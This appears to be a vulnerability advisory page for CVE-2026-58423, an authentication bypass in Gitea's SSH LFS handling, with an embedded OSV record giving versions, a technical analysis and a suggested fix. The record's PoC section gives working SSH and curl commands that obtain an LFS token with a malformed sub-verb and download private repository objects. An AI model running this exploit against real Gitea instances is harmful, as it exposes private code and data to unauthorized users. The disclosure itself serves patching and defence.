CVE-2026-58423: Gitea Authentication Bypass Vulnerability
HIGHCVE-2026-58423 is a HIGH (CVSS 7.7) authentication bypass vulnerability (CWE-287: Improper Authentication) affecting Gitea libraries in the Go ecosystem. The issue involves lfs authentication bypass via malformed ssh sub-verb allows unauthorized read access to private repositories. Remediation is available by upgrading affected packages to version 1.26.3.
CVE-2026-58423 at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix CVE-2026-58423
To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade code.gitea.io/gitea to 1.26.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for code.gitea.io/gitea
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-58423, inspect your project dependencies for Gitea:
inspect dependencies for code.gitea.io/gitea
Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.26.3), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-58423 Affected Gitea Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code.gitea.io/gitea
|
Go |
≥ 1.23.0
< 1.26.3
|
1.26.3
|
References
Frequently Asked Questions
What is CVE-2026-58423?
Which Gitea versions are affected?
What version fixes CVE-2026-58423?
Is code.gitea.io/gitea affected?
What is the CVSS score of CVE-2026-58423?
What CWE is associated with CVE-2026-58423?
How can I check Go dependencies for CVE-2026-58423?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7wvc-rvp7-w99x",
"modified" : "2026-07-21T20:35:10Z",
"published" : "2026-07-21T20:35:09Z",
"aliases" : [ "CVE-2026-58423" ],
"summary" : "Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories",
"details" : "### Summary\n\nA flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.\n\n### Details\n\nIn `cmd/serv.go`, the `getAccessMode` function determines the required access level for SSH operations. For LFS verbs (`git-lfs-authenticate`, `git-lfs-transfer`), it switches on the sub-verb (`upload`/`download`). If the sub-verb is neither, execution falls through to:\n\n```go\nsetting.PanicInDevOrTesting(\"unknown verb: %s %s\", verb, lfsVerb)\nreturn perm.AccessModeNone\n```\n\nIn production (`IsProd=true`), `PanicInDevOrTesting` only logs an error and does not panic. `AccessModeNone` (value `0`) is then passed to `ServCommand` in `routers/private/serv.go`, where the permission check block at line ~322 evaluates:\n\n```go\nif repoExist &&\n (mode > perm.AccessModeRead ||\n repo.IsPrivate ||\n owner.Visibility.IsPrivate() ||\n (user != nil && user.IsRestricted) ||\n setting.Service.RequireSignInViewStrict) {\n ...\n if userMode < mode { // userMode < 0 is always false\n // deny access\n }\n}\n```\n\nFor private repositories, `repo.IsPrivate` triggers the permission check block, but `userMode < mode` evaluates to `userMode < 0`, which is always false — **access is granted regardless of the user's actual permissions**.\n\nThe function then returns successfully, and `runServ` generates a valid LFS JWT token with `Op: \"badverb\"`. On the HTTP LFS side (`services/lfs/server.go:599`), the `Op` field is only validated for write operations:\n\n```go\nif mode == perm_model.AccessModeWrite && claims.Op != \"upload\" {\n return nil, errors.New(\"invalid token claim\")\n}\n```\n\nDownload operations do not check `Op`, so the attacker's token is accepted for all LFS read operations.\n\n### PoC\n\nPrerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: `admin` (owns a private repo with LFS objects) and `attacker` (a regular user with an SSH key, **no access** to the private repo).\n\n```bash\n# 1. Verify attacker has NO access via normal LFS authenticate\nssh git@gitea-instance \"git-lfs-authenticate admin/private-repo.git download\"\n# Output: \"User: attacker is not authorized to read admin/private-repo.\"\n\n# 2. EXPLOIT: Use malformed sub-verb to bypass permission check\nssh git@gitea-instance \"git-lfs-authenticate admin/private-repo.git badverb\"\n# Output: {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"https://gitea-instance/admin/private-repo.git/info/lfs\"}\n\n# 3. Use stolen token to request LFS object download\ncurl -X POST \"https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch\" \\\n -H \"Content-Type: application/vnd.git-lfs+json\" \\\n -H \"Accept: application/vnd.git-lfs+json\" \\\n -H \"Authorization: Bearer eyJ...\" \\\n -d '{\"operation\":\"download\",\"objects\":[{\"oid\":\"<known-oid>\",\"size\":<size>}]}'\n# Returns download URL with valid authorization header\n\n# 4. Download private LFS content\ncurl -H \"Authorization: Bearer eyJ...\" \\\n \"https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>\"\n# Returns the private LFS object content\n```\n\n### Impact\n\nAny user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from **any private repository** on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).\n\n### Suggested fix\n\nValidate the LFS sub-verb before calling `getAccessMode`, or return an error instead of `AccessModeNone` for unknown verbs:\n\n```go\ncase git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:\n switch lfsVerb {\n case git.CmdSubVerbLfsUpload:\n return perm.AccessModeWrite\n case git.CmdSubVerbLfsDownload:\n return perm.AccessModeRead\n default:\n return fail(ctx, \"Unknown LFS verb\", \"Unknown LFS verb: %s\", lfsVerb)\n }\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "code.gitea.io/gitea"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.23.0"
}, {
"fixed" : "1.26.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-7wvc-rvp7-w99x"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-58423"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/pull/38008"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/commit/42513398c05ca6bdf71da76cb6f9baaebe8cb924"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/commit/8f4b7ebbf6061bd44b1ab3824f17f37b87fb1740"
}, {
"type" : "WEB",
"url" : "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-gitea/gitea"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-21T20:35:09Z",
"nvd_published_at" : "2026-07-03T21:17:05Z"
}
}